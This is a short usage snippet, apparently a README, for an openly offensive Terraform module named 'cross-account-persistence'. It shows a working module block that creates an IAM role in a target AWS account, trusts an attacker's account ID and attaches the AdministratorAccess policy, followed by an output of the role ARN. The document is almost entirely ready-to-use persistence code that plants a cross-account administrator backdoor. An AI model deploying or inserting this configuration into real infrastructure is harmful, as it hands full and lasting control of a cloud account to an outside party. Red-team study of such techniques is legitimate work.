Offensive Terraform module which creates an IAM role with trust relationship with attacker's AWS account and attaches managed IAM Policy to an IAM role.
module "cross-account-persistence" {
source = "offensive-terraform/cross-account-persistence/aws"
role_name = "hack-the-planet"
policy_arn = "arn:aws:iam::aws:policy/AdministratorAccess"
attacker_account_id = "000000000000"
}
output "role_arn" {
value = module.cross-account-persistence.role_arn
}
Module managed by https://github.com/iganbold